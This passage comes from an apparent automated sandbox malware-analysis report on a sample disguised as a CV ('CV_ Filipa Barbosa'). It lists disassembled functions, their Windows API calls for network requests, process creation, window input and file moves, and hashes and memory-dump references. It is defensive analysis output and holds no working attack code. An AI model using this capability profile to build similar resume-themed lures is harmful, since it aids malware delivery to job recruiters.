                                                                  • Associated: 00000000.00000002.1382709719.0000000000BE4000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                  Joe Sandbox IDA Plugin
                                                                  • Snapshot File: hcaresult_0_2_b20000_CV_ Filipa Barbosa.jbxd
                                                                  Similarity
                                                                  • API ID: ErrorMode$ObjectVariant$ClearFileFromInitInitializeInstanceRunningTableUninitialize
                                                                  • String ID:
                                                                  • API String ID: 2395222682-0
                                                                  • Opcode ID: 261c725577804ac2e39eaaa8f088061ba5ff23e5d217b9e9cfe544c095f8cba3
                                                                  • Instruction ID: acb3ea36d4ca1541277293704b6475116e7d5110683fd693a889425c47e892b6
                                                                  • Opcode Fuzzy Hash: 261c725577804ac2e39eaaa8f088061ba5ff23e5d217b9e9cfe544c095f8cba3
                                                                  • Instruction Fuzzy Hash: CAC102B1608305AFC700DF68C895A6BBBE9FF89304F00899DF59A9B251DB71ED05CB52
                                                                  Function 00B4ACB3 Relevance: 15.2, APIs: 10, Instructions: 219COMMON
                                                                  Download Yara Rule
                                                                  APIs
                                                                  • __lock.LIBCMT ref: 00B4ACC1
                                                                    • Part of subcall function 00B47CF4: __mtinitlocknum.LIBCMT ref: 00B47D06
                                                                    • Part of subcall function 00B47CF4: EnterCriticalSection.KERNEL32(00000000,?,00B47ADD,0000000D), ref: 00B47D1F
                                                                  • __calloc_crt.LIBCMT ref: 00B4ACD2
                                                                    • Part of subcall function 00B46986: __calloc_impl.LIBCMT ref: 00B46995
                                                                    • Part of subcall function 00B46986: Sleep.KERNEL32(00000000,000003BC,00B3F507,?,0000000E), ref: 00B469AC
                                                                  • @_EH4_CallFilterFunc@8.LIBCMT ref: 00B4ACED
                                                                  • GetStartupInfoW.KERNEL32(?,00BD6E28,00000064,00B45E91,00BD6C70,00000014), ref: 00B4AD46
                                                                  • __calloc_crt.LIBCMT ref: 00B4AD91
                                                                  • GetFileType.KERNEL32(00000001), ref: 00B4ADD8
                                                                  • InitializeCriticalSectionAndSpinCount.KERNEL32(0000000D,00000FA0), ref: 00B4AE11
                                                                  Memory Dump Source
                                                                  • Source File: 00000000.00000002.1382585231.0000000000B21000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B20000, based on PE: true
                                                                  • Associated: 00000000.00000002.1382567226.0000000000B20000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.1382643483.0000000000BAD000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.1382643483.0000000000BCE000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.1382690581.0000000000BDA000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.1382709719.0000000000BE4000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                  Joe Sandbox IDA Plugin
                                                                  • Snapshot File: hcaresult_0_2_b20000_CV_ Filipa Barbosa.jbxd
                                                                  Similarity
                                                                  • API ID: CriticalSection__calloc_crt$CallCountEnterFileFilterFunc@8InfoInitializeSleepSpinStartupType__calloc_impl__lock__mtinitlocknum
                                                                  • String ID:
                                                                  • API String ID: 1426640281-0
                                                                  • Opcode ID: ac7805d0e0705b6bad96117fa459d61339f2eb08741e03c1bd579fdeb1277450
                                                                  • Instruction ID: b1325f3df757f9a292deec2b073c9d7d0682ac3570281fdc3873aad3addf386d
                                                                  • Opcode Fuzzy Hash: ac7805d0e0705b6bad96117fa459d61339f2eb08741e03c1bd579fdeb1277450
                                                                  • Instruction Fuzzy Hash: B381D3719853458FDB14CF68C8805ADBBF0EF0A324B2442ADD4A6EB3D1D7349A43EB56
                                                                  Function 00B667E9 Relevance: 15.1, APIs: 10, Instructions: 107windowCOMMON
                                                                  Download Yara Rule
                                                                  APIs
                                                                  • __swprintf.LIBCMT ref: 00B667FD
                                                                  • __swprintf.LIBCMT ref: 00B6680A
                                                                    • Part of subcall function 00B4172B: __woutput_l.LIBCMT ref: 00B41784
                                                                  • FindResourceW.KERNEL32(?,?,0000000E), ref: 00B66834
                                                                  • LoadResource.KERNEL32(?,00000000), ref: 00B66840
                                                                  • LockResource.KERNEL32(00000000), ref: 00B6684D
                                                                  • FindResourceW.KERNEL32(?,?,00000003), ref: 00B6686D
                                                                  • LoadResource.KERNEL32(?,00000000), ref: 00B6687F
                                                                  • SizeofResource.KERNEL32(?,00000000), ref: 00B6688E
                                                                  • LockResource.KERNEL32(?), ref: 00B6689A
                                                                  • CreateIconFromResourceEx.USER32(?,?,00000001,00030000,00000000,00000000,00000000), ref: 00B668F9
                                                                  Memory Dump Source
                                                                  • Source File: 00000000.00000002.1382585231.0000000000B21000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B20000, based on PE: true
                                                                  • Associated: 00000000.00000002.1382567226.0000000000B20000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.1382643483.0000000000BAD000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.1382643483.0000000000BCE000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.1382690581.0000000000BDA000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.1382709719.0000000000BE4000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                  Joe Sandbox IDA Plugin
                                                                  • Snapshot File: hcaresult_0_2_b20000_CV_ Filipa Barbosa.jbxd
                                                                  Similarity
                                                                  • API ID: Resource$FindLoadLock__swprintf$CreateFromIconSizeof__woutput_l
                                                                  • String ID:
                                                                  • API String ID: 1433390588-0
                                                                  • Opcode ID: 2e1a37a914119308f0855f0179871f584af406fc9f38fbc2e658bdc328599b95
                                                                  • Instruction ID: 104a7d463ab988feac63ae8bae88a44bd5dda76994fc48e980a7eb9ebd816d1d
                                                                  • Opcode Fuzzy Hash: 2e1a37a914119308f0855f0179871f584af406fc9f38fbc2e658bdc328599b95
                                                                  • Instruction Fuzzy Hash: 71316DB190025AABDB119F71DD85EBA7BE8FF09340B104866F902E7150EB38DE51DAA0
                                                                  Function 00B64025 Relevance: 15.1, APIs: 10, Instructions: 88threadCOMMON
                                                                  Download Yara Rule
                                                                  APIs
                                                                  • GetCurrentThreadId.KERNEL32 ref: 00B64047
                                                                  • GetForegroundWindow.USER32(00000000,?,?,?,?,?,00B630A5,?,00000001), ref: 00B6405B
                                                                  • GetWindowThreadProcessId.USER32(00000000), ref: 00B64062
                                                                  • AttachThreadInput.USER32(00000000,00000000,00000001,?,?,?,?,?,00B630A5,?,00000001), ref: 00B64071
                                                                  • GetWindowThreadProcessId.USER32(?,00000000), ref: 00B64083
                                                                  • AttachThreadInput.USER32(?,00000000,00000001,?,?,?,?,?,00B630A5,?,00000001), ref: 00B6409C
                                                                  • AttachThreadInput.USER32(00000000,00000000,00000001,?,?,?,?,?,00B630A5,?,00000001), ref: 00B640AE
                                                                  • AttachThreadInput.USER32(00000000,00000000,?,?,?,?,?,00B630A5,?,00000001), ref: 00B640F3
                                                                  • AttachThreadInput.USER32(?,?,00000000,?,?,?,?,?,00B630A5,?,00000001), ref: 00B64108
                                                                  • AttachThreadInput.USER32(00000000,?,00000000,?,?,?,?,?,00B630A5,?,00000001), ref: 00B64113
                                                                  Memory Dump Source
                                                                  • Source File: 00000000.00000002.1382585231.0000000000B21000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B20000, based on PE: true
                                                                  • Associated: 00000000.00000002.1382567226.0000000000B20000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.1382643483.0000000000BAD000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.1382643483.0000000000BCE000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.1382690581.0000000000BDA000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.1382709719.0000000000BE4000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                  Joe Sandbox IDA Plugin
                                                                  • Snapshot File: hcaresult_0_2_b20000_CV_ Filipa Barbosa.jbxd
                                                                  Similarity
                                                                  • API ID: Thread$AttachInput$Window$Process$CurrentForeground
                                                                  • String ID:
                                                                  • API String ID: 2156557900-0
                                                                  • Opcode ID: c628cd76b31505a9b5439773b3866c50379f69d7bc3418172dd4a33d6969e5c0
                                                                  • Instruction ID: 51a169fb721ac17f4aa62bfd9049012367bb6d97c28c5f1e71fc353047651e88
                                                                  • Opcode Fuzzy Hash: c628cd76b31505a9b5439773b3866c50379f69d7bc3418172dd4a33d6969e5c0
                                                                  • Instruction Fuzzy Hash: 453191B1500614AFDB10DF55DC8AB697BE9EB56711F208045F905EB290CFB9DD808B60
                                                                  Function 00B90133 Relevance: 14.2, APIs: 7, Strings: 1, Instructions: 245windowCOMMON
                                                                  Download Yara Rule
                                                                  APIs
                                                                    • Part of subcall function 00B3B34E: GetWindowLongW.USER32(?,000000EB), ref: 00B3B35F
                                                                  • GetSystemMetrics.USER32(0000000F), ref: 00B9016D
                                                                  • MoveWindow.USER32(00000003,?,00000000,00000001,00000000,00000000,?,?,?), ref: 00B9038D
                                                                  • SendMessageW.USER32(00000003,00000142,00000000,0000FFFF), ref: 00B903AB
                                                                  • InvalidateRect.USER32(?,00000000,00000001,?), ref: 00B903D6
                                                                  • SendMessageW.USER32(00000003,00000469,?,00000000), ref: 00B903FF
                                                                  • ShowWindow.USER32(00000003,00000000), ref: 00B90421
                                                                  • DefDlgProcW.USER32(?,00000005,?,?), ref: 00B90440
                                                                  Strings
                                                                  Memory Dump Source
                                                                  • Source File: 00000000.00000002.1382585231.0000000000B21000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B20000, based on PE: true
                                                                  • Associated: 00000000.00000002.1382567226.0000000000B20000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.1382643483.0000000000BAD000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.1382643483.0000000000BCE000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.1382690581.0000000000BDA000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.1382709719.0000000000BE4000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                  Joe Sandbox IDA Plugin
                                                                  • Snapshot File: hcaresult_0_2_b20000_CV_ Filipa Barbosa.jbxd
                                                                  Similarity
                                                                  • API ID: Window$MessageSend$InvalidateLongMetricsMoveProcRectShowSystem
                                                                  • String ID: @U=u
                                                                  • API String ID: 3356174886-2594219639
                                                                  • Opcode ID: 678a0e040a08747aacf2e400d037f71018c070e48d37ab3cf347134d65d36d1b
                                                                  • Instruction ID: f18e25a07d453d9ce6b79e4ccb7f22318ae5e44f735042d53cdfc40950a726f6
                                                                  • Opcode Fuzzy Hash: 678a0e040a08747aacf2e400d037f71018c070e48d37ab3cf347134d65d36d1b
                                                                  • Instruction Fuzzy Hash: 10A18A35610616AFDF18DF68C9897BDBBF1FF08700F1481A5E855AB290DB34AD50CB90
                                                                  Function 00B5CB82 Relevance: 14.2, APIs: 2, Strings: 6, Instructions: 239COMMON
                                                                  Download Yara Rule
                                                                  APIs
                                                                  • EnumChildWindows.USER32(?,00B5CF50), ref: 00B5CE90
                                                                  Strings
                                                                  Memory Dump Source
                                                                  • Source File: 00000000.00000002.1382585231.0000000000B21000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B20000, based on PE: true
                                                                  • Associated: 00000000.00000002.1382567226.0000000000B20000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.1382643483.0000000000BAD000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.1382643483.0000000000BCE000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.1382690581.0000000000BDA000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.1382709719.0000000000BE4000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                  Joe Sandbox IDA Plugin
                                                                  • Snapshot File: hcaresult_0_2_b20000_CV_ Filipa Barbosa.jbxd
                                                                  Similarity
                                                                  • API ID: ChildEnumWindows
                                                                  • String ID: CLASS$CLASSNN$INSTANCE$NAME$REGEXPCLASS$TEXT
                                                                  • API String ID: 3555792229-1603158881
                                                                  • Opcode ID: 9d87bf97a7e23f43d38353a022aaa69781cc528452f5b8bffa973c6f63858787
                                                                  • Instruction ID: 722d9607cf0543249d1bf1294fd748e9d689c1d0c48a977c3b33ecdf645f46ad
                                                                  • Opcode Fuzzy Hash: 9d87bf97a7e23f43d38353a022aaa69781cc528452f5b8bffa973c6f63858787
                                                                  • Instruction Fuzzy Hash: 81915F31500646AECB18EF64C482BEAFFF6FF04301F5085EAD859A7191DF70A95ADB90
                                                                  Function 00B23093 Relevance: 14.2, APIs: 7, Strings: 1, Instructions: 210COMMON
                                                                  Download Yara Rule
                                                                  APIs
                                                                  • mciSendStringW.WINMM(close all,00000000,00000000,00000000), ref: 00B230DC
                                                                  • CoUninitialize.OLE32(?,00000000), ref: 00B23181
                                                                  • UnregisterHotKey.USER32(?), ref: 00B232A9
                                                                  • DestroyWindow.USER32(?), ref: 00B95079
                                                                  • FreeLibrary.KERNEL32(?), ref: 00B950F8
                                                                  • VirtualFree.KERNEL32(?,00000000,00008000), ref: 00B95125
                                                                  Strings
                                                                  Memory Dump Source
                                                                  • Source File: 00000000.00000002.1382585231.0000000000B21000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B20000, based on PE: true
                                                                  • Associated: 00000000.00000002.1382567226.0000000000B20000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.1382643483.0000000000BAD000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.1382643483.0000000000BCE000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.1382690581.0000000000BDA000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.1382709719.0000000000BE4000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                  Joe Sandbox IDA Plugin
                                                                  • Snapshot File: hcaresult_0_2_b20000_CV_ Filipa Barbosa.jbxd
                                                                  Similarity
                                                                  • API ID: Free$DestroyLibrarySendStringUninitializeUnregisterVirtualWindow
                                                                  • String ID: close all
                                                                  • API String ID: 469580280-3243417748
                                                                  • Opcode ID: 355d50b8a85b20cc1e37646bdbfba66a40b3d8cc2102c59598fe797a09e5e74b
                                                                  • Instruction ID: bc0cbae1c25d8b6065b192b4be8c136f38ad834e631a9fa99a49726176104331
                                                                  • Opcode Fuzzy Hash: 355d50b8a85b20cc1e37646bdbfba66a40b3d8cc2102c59598fe797a09e5e74b
                                                                  • Instruction Fuzzy Hash: A49128306002268FCB16EF14E896B68F3E4FF15704F5442E9E50AA7662DF34AE56CF54
                                                                  Function 00B89A75 Relevance: 14.1, APIs: 6, Strings: 2, Instructions: 142windowCOMMON
                                                                  Download Yara Rule
                                                                  APIs
                                                                  • SendMessageW.USER32(00000000,00001036,00000010,00000010), ref: 00B89B19
                                                                  • SendMessageW.USER32(?,00001036,00000000,?), ref: 00B89B2D
                                                                  • SetWindowPos.USER32(?,00000000,00000000,00000000,00000000,00000000,00000013), ref: 00B89B47
                                                                  • _wcscat.LIBCMT ref: 00B89BA2
                                                                  • SendMessageW.USER32(?,00001057,00000000,?), ref: 00B89BB9
                                                                  • SendMessageW.USER32(?,00001061,?,0000000F), ref: 00B89BE7
                                                                  Strings
                                                                  Memory Dump Source
                                                                  • Source File: 00000000.00000002.1382585231.0000000000B21000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B20000, based on PE: true
                                                                  • Associated: 00000000.00000002.1382567226.0000000000B20000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.1382643483.0000000000BAD000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.1382643483.0000000000BCE000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.1382690581.0000000000BDA000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.1382709719.0000000000BE4000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                  Joe Sandbox IDA Plugin
                                                                  • Snapshot File: hcaresult_0_2_b20000_CV_ Filipa Barbosa.jbxd
                                                                  Similarity
                                                                  • API ID: MessageSend$Window_wcscat
                                                                  • String ID: @U=u$SysListView32
                                                                  • API String ID: 307300125-1908207174
                                                                  • Opcode ID: 1d34f0f290caff387f193b113b969cb3c406317f5d1da02b29053bd6434296c0
                                                                  • Instruction ID: 810d2623382e608186dde860168b14a2ad5bb9d99e8beb83b6bea2ae39049e75
                                                                  • Opcode Fuzzy Hash: 1d34f0f290caff387f193b113b969cb3c406317f5d1da02b29053bd6434296c0
                                                                  • Instruction Fuzzy Hash: D1418071900308ABDF21AFA8DC85BEE77E8EF08350F1445AAF545A72A1D7719D84CB60
                                                                  Function 00B745C4 Relevance: 14.1, APIs: 7, Strings: 1, Instructions: 133networkCOMMON
                                                                  Download Yara Rule
                                                                  APIs
                                                                  • InternetConnectW.WININET(?,?,?,?,?,?,00000000,00000000), ref: 00B745FF
                                                                  • HttpOpenRequestW.WININET(00000000,00000000,?,00000000,00000000,00000000,?,00000000), ref: 00B7462B
                                                                  • InternetQueryOptionW.WININET(00000000,0000001F,00000000,?), ref: 00B7466D
                                                                  • InternetSetOptionW.WININET(00000000,0000001F,00000100,00000004), ref: 00B74682
                                                                  • HttpSendRequestW.WININET(00000000,00000000,00000000,00000000,00000000), ref: 00B7468F
                                                                  • HttpQueryInfoW.WININET(00000000,00000005,?,?,00000000), ref: 00B746BF
                                                                  • InternetCloseHandle.WININET(00000000), ref: 00B74706
                                                                    • Part of subcall function 00B75052: GetLastError.KERNEL32(?,?,00B743CC,00000000,00000000,00000001), ref: 00B75067
                                                                  Strings
                                                                  Memory Dump Source
                                                                  • Source File: 00000000.00000002.1382585231.0000000000B21000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B20000, based on PE: true
                                                                  • Associated: 00000000.00000002.1382567226.0000000000B20000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.1382643483.0000000000BAD000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.1382643483.0000000000BCE000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.1382690581.0000000000BDA000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.1382709719.0000000000BE4000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                  Joe Sandbox IDA Plugin
                                                                  • Snapshot File: hcaresult_0_2_b20000_CV_ Filipa Barbosa.jbxd
                                                                  Similarity
                                                                  • API ID: Internet$Http$OptionQueryRequest$CloseConnectErrorHandleInfoLastOpenSend
                                                                  • String ID:
                                                                  • API String ID: 1241431887-3916222277
                                                                  • Opcode ID: df7c08cf67a3492bfa517cb23ae21e345cf607fad894a070a1ce3a5b99d0c834
                                                                  • Instruction ID: ca7c972f240b884b29b066f56c77d33c7cdf69c6d42fff7e0d334af1e6737b1f
                                                                  • Opcode Fuzzy Hash: df7c08cf67a3492bfa517cb23ae21e345cf607fad894a070a1ce3a5b99d0c834
                                                                  • Instruction Fuzzy Hash: 39417CB1501219BFEB169F64CC85FBA77ECFF09315F008096FA299A151DBB0DE448BA4
                                                                  Function 00B88FC8 Relevance: 14.1, APIs: 7, Strings: 1, Instructions: 99windowCOMMON
                                                                  Download Yara Rule
                                                                  APIs
                                                                  • SendMessageW.USER32(00000000,000000F0,00000000,00000000), ref: 00B88FE7
                                                                  • GetWindowLongW.USER32(01272570,000000F0), ref: 00B8901A
                                                                  • GetWindowLongW.USER32(01272570,000000F0), ref: 00B8904F
                                                                  • SendMessageW.USER32(00000000,000000F1,00000000,00000000), ref: 00B89081
                                                                  • SendMessageW.USER32(00000000,000000F1,00000001,00000000), ref: 00B890AB
                                                                  • GetWindowLongW.USER32(00000000,000000F0), ref: 00B890BC
                                                                  • SetWindowLongW.USER32(00000000,000000F0,00000000), ref: 00B890D6
                                                                  Strings
                                                                  Memory Dump Source
                                                                  • Source File: 00000000.00000002.1382585231.0000000000B21000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B20000, based on PE: true
                                                                  • Associated: 00000000.00000002.1382567226.0000000000B20000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.1382643483.0000000000BAD000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.1382643483.0000000000BCE000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.1382690581.0000000000BDA000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.1382709719.0000000000BE4000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                  Joe Sandbox IDA Plugin
                                                                  • Snapshot File: hcaresult_0_2_b20000_CV_ Filipa Barbosa.jbxd
                                                                  Similarity
                                                                  • API ID: LongWindow$MessageSend
                                                                  • String ID: @U=u
                                                                  • API String ID: 2178440468-2594219639
                                                                  • Opcode ID: 6b785550274707f0554e85575cea95290000c1dabcc95eb3b4f06705e51691d3
                                                                  • Instruction ID: 945857f12901c997c9b278816b29a6f90b0e194e59e3199f8613df596ffefdc5
                                                                  • Opcode Fuzzy Hash: 6b785550274707f0554e85575cea95290000c1dabcc95eb3b4f06705e51691d3
                                                                  • Instruction Fuzzy Hash: AB311174600215AFDF22AF58DC85F6437E5FB4A714F2802A4F61A8F2B2CFB1A840DB41
                                                                  Function 00B7B644 Relevance: 13.9, APIs: 9, Instructions: 432COMMON
                                                                  Download Yara Rule
                                                                  APIs
                                                                  • GetModuleFileNameW.KERNEL32(?,?,00000104,?,00BBDC00), ref: 00B7B715
                                                                  • FreeLibrary.KERNEL32(00000000,00000001,00000000,?,00BBDC00), ref: 00B7B749
                                                                  • QueryPathOfRegTypeLib.OLEAUT32(?,?,?,?,?), ref: 00B7B8C1
                                                                  • SysFreeString.OLEAUT32(?), ref: 00B7B8EB
                                                                  Memory Dump Source
                                                                  • Source File: 00000000.00000002.1382585231.0000000000B21000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B20000, based on PE: true
                                                                  • Associated: 00000000.00000002.1382567226.0000000000B20000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.1382643483.0000000000BAD000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.1382643483.0000000000BCE000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.1382690581.0000000000BDA000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.1382709719.0000000000BE4000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                  Joe Sandbox IDA Plugin
                                                                  • Snapshot File: hcaresult_0_2_b20000_CV_ Filipa Barbosa.jbxd
                                                                  Similarity
                                                                  • API ID: Free$FileLibraryModuleNamePathQueryStringType
                                                                  • String ID:
                                                                  • API String ID: 560350794-0
                                                                  • Opcode ID: 162aa6d46f25d457cf65e9065c4bc5a8ac73a6e2d2e6734591a7762a1f68b34d
                                                                  • Instruction ID: 9cf21935d8fce0155afbdd1600543b7a77b3348ae0435879faf69df1f019b8db
                                                                  • Opcode Fuzzy Hash: 162aa6d46f25d457cf65e9065c4bc5a8ac73a6e2d2e6734591a7762a1f68b34d
                                                                  • Instruction Fuzzy Hash: 3DF1F875A00219AFCF04DF94C884EAEB7B9FF49315F148499F929AB250DB31AE45CF90
                                                                  Function 00B824D4 Relevance: 13.9, APIs: 9, Instructions: 376processCOMMON
                                                                  Download Yara Rule
                                                                  APIs
                                                                  • _memset.LIBCMT ref: 00B824F5
                                                                  • GetSystemDirectoryW.KERNEL32(00000000,00000000), ref: 00B82688
                                                                  • GetSystemDirectoryW.KERNEL32(00000000,00000000), ref: 00B826AC
                                                                  • GetCurrentDirectoryW.KERNEL32(00000000,00000000), ref: 00B826EC
                                                                  • GetCurrentDirectoryW.KERNEL32(00000000,00000000), ref: 00B8270E
                                                                  • CreateProcessW.KERNEL32(00000000,?,00000000,00000000,?,?,00000000,?,?,?), ref: 00B8286F
                                                                  • GetLastError.KERNEL32(00000000,00000001,00000000), ref: 00B828A1
                                                                  • CloseHandle.KERNEL32(?), ref: 00B828D0
                                                                  • CloseHandle.KERNEL32(?), ref: 00B82947
                                                                  Memory Dump Source
                                                                  • Source File: 00000000.00000002.1382585231.0000000000B21000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B20000, based on PE: true
                                                                  • Associated: 00000000.00000002.1382567226.0000000000B20000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.1382643483.0000000000BAD000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.1382643483.0000000000BCE000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.1382690581.0000000000BDA000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.1382709719.0000000000BE4000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                  Joe Sandbox IDA Plugin
                                                                  • Snapshot File: hcaresult_0_2_b20000_CV_ Filipa Barbosa.jbxd
                                                                  Similarity
                                                                  • API ID: Directory$CloseCurrentHandleSystem$CreateErrorLastProcess_memset
                                                                  • String ID:
                                                                  • API String ID: 4090791747-0
                                                                  • Opcode ID: d0cdf1bd2d934503f683d2a2a8179c418824351e2d3c3d8ef6677b103ee4a91e
                                                                  • Instruction ID: 6f792263c9d26191d5be52a9f0fcd90719d33dd9b83009f4f0f9e710b8551283
                                                                  • Opcode Fuzzy Hash: d0cdf1bd2d934503f683d2a2a8179c418824351e2d3c3d8ef6677b103ee4a91e
                                                                  • Instruction Fuzzy Hash: EFD1BE35604301DFCB14EF24C891A6EBBE5EF85310F1489ADF88A9B2A2DB30DC45CB56
                                                                  Function 00B67555 Relevance: 13.6, APIs: 9, Instructions: 142filestringCOMMON
                                                                  Download Yara Rule
                                                                  APIs
                                                                    • Part of subcall function 00B66EBB: GetFullPathNameW.KERNEL32(00000000,00007FFF,?,?,?,?,?,?,00B65FA6,?), ref: 00B66ED8
                                                                    • Part of subcall function 00B66EBB: GetFullPathNameW.KERNEL32(?,00007FFF,?,?,?,?,?,00B65FA6,?), ref: 00B66EF1
                                                                    • Part of subcall function 00B672CB: GetFileAttributesW.KERNEL32(?,00B66019), ref: 00B672CC
                                                                  • lstrcmpiW.KERNEL32(?,?), ref: 00B675CA
                                                                  • _wcscmp.LIBCMT ref: 00B675E2
                                                                  • MoveFileW.KERNEL32(?,?), ref: 00B675FB
                                                                  Memory Dump Source
                                                                  • Source File: 00000000.00000002.1382585231.0000000000B21000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B20000, based on PE: true
                                                                  • Associated: 00000000.00000002.1382567226.0000000000B20000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.1382643483.0000000000BAD000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.1382643483.0000000000BCE000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.1382690581.0000000000BDA000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.1382709719.0000000000BE4000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                  Joe Sandbox IDA Plugin
                                                                  • Snapshot File: hcaresult_0_2_b20000_CV_ Filipa Barbosa.jbxd
                                                                  Similarity
                                                                  • API ID: FileFullNamePath$AttributesMove_wcscmplstrcmpi
                                                                  • String ID:
                                                                  • API String ID: 793581249-0
                                                                  • Opcode ID: 977f40e50a5bc1078d9aaa37d05db2bcfad6cc5b867860212cc495d7fe4ba188
                                                                  • Instruction ID: 978eded2137f9cbe2040b813c1f46539a81ce535e9dcf60e37f93843a4f25b2d
                                                                  • Opcode Fuzzy Hash: 977f40e50a5bc1078d9aaa37d05db2bcfad6cc5b867860212cc495d7fe4ba188
                                                                  • Instruction Fuzzy Hash: 1D511DB2E492199ADF50EBA4D8819DE73FCEF08314B1044EAF609E3541EA7497C9CF60
                                                                  Function 00B3EA69 Relevance: 13.6, APIs: 9, Instructions: 135COMMON
                                                                  Download Yara Rule
                                                                  APIs
                                                                  • ShowWindow.USER32(00000000,000000FF,00000000,00000000,00000000,?,00B9DAD1,00000004,00000000,00000000), ref: 00B3EAEB
                                                                  • ShowWindow.USER32(00000000,00000000,00000000,00000000,00000000,?,00B9DAD1,00000004,00000000,00000000), ref: 00B3EB32
                                                                  • ShowWindow.USER32(00000000,00000006,00000000,00000000,00000000,?,00B9DAD1,00000004,00000000,00000000), ref: 00B9DC86
                                                                  • ShowWindow.USER32(00000000,000000FF,00000000,00000000,00000000,?,00B9DAD1,00000004,00000000,00000000), ref: 00B9DCF2
                                                                  Memory Dump Source
                                                                  • Source File: 00000000.00000002.1382585231.0000000000B21000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B20000, based on PE: true
                                                                  • Associated: 00000000.00000002.1382567226.0000000000B20000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.1382643483.0000000000BAD000.00000002.00000001.01000000.00000003.sdmpDownload File
